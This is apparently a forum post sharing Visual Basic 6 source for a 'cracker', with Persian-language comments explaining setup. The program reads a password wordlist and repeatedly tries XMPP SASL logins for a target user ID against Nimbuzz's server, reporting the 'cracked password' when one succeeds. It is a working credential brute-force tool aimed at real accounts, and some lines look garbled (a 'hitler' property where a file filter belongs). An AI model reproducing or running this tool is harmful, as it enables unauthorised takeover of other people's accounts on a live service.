source cracker vb6

[center]Option Explicit

Dim i As Integer
Private Function EncodeBase64(ByRef data() As Byte) As String
Dim xml As MSXML2.DOMDocument ' in msxml2 az koja umade? ino bayad az balaye visual unja ke neveshte file edit view project ro niga kon. hala ru project click kon va az gozinehash gozine refrences ro entekhab kon. hala unja begard microsoft xml v 2 ya version haye balatar 3 4 5 6 ro entekhab kon faghat yekishuno .
    Dim node As MSXML2.IXMLDOMElement ' mesle balayi mibashad
    Set xml = New MSXML2.DOMDocument
    Set node = xml.createElement("b64")
    node.dataType = "bin.base64"
    node.nodeTypedValue = data
    EncodeBase64 = node.Text
  Set node = Nothing
    Set node = Nothing
End Function



Private Sub Command1_Click()
On Error Resume Next
Dim adr As String
CommonDialog1.hitler = "Text Files (*.txt)|*.txt"
CommonDialog1.hitler = 0
CommonDialog1.ShowOpen
adr = CommonDialog1.FileName

List1.Clear
Open adr For Input As #1
    Do While Not EOF(1)
        Line Input #1, adr
        If Not (adr = "") Then
            List1.AddItem adr
End If
    Loop
   
Close #1

End Sub

Private Sub cracker_Click()
Ws.Close ' ws hamun winsock hast ke man rename kardam be ws , bayad hamishe ghabl az conect kardan winsock ro bebandin ta error nade
Ws.RemoteHost = "o.nimbuzz.com" 'hoste winsok ro moshakhas mikonim albate lazem nis inja moshakhas konim tu khode properties e winsok ham mishe moshakhas kard
Ws.RemotePort = 5222 ' port ham mese host
Ws.Connect
End Sub

Private Sub Ws_Connect()
Ws.SendData "<stream:stream to='nimbuzz.com' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
Ws.SendData "<auth id='sasl' xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN'>" + EncodeBase64(StrConv(vbNullChar + id.Text + vbNullChar + List1.List(i), vbFromUnicode)) + "</auth>"
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
On Error GoTo ehem
Dim reza As String
Ws.GetData reza
reza = Replace(reza, """", "'")
DoEvents
If InStr(reza, "<suc") <> 0 Then
Ws.Close
MsgBox "cracked password: " + List1.List(i)
End If
If InStr(reza, "<failure xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><not-authorized/></failure>") <> 0 Then
i = i + 1
Ws.Close
Ws.Connect
End If
ehem:



End Sub

Private Sub Ws_Click()

End Sub
  [/center]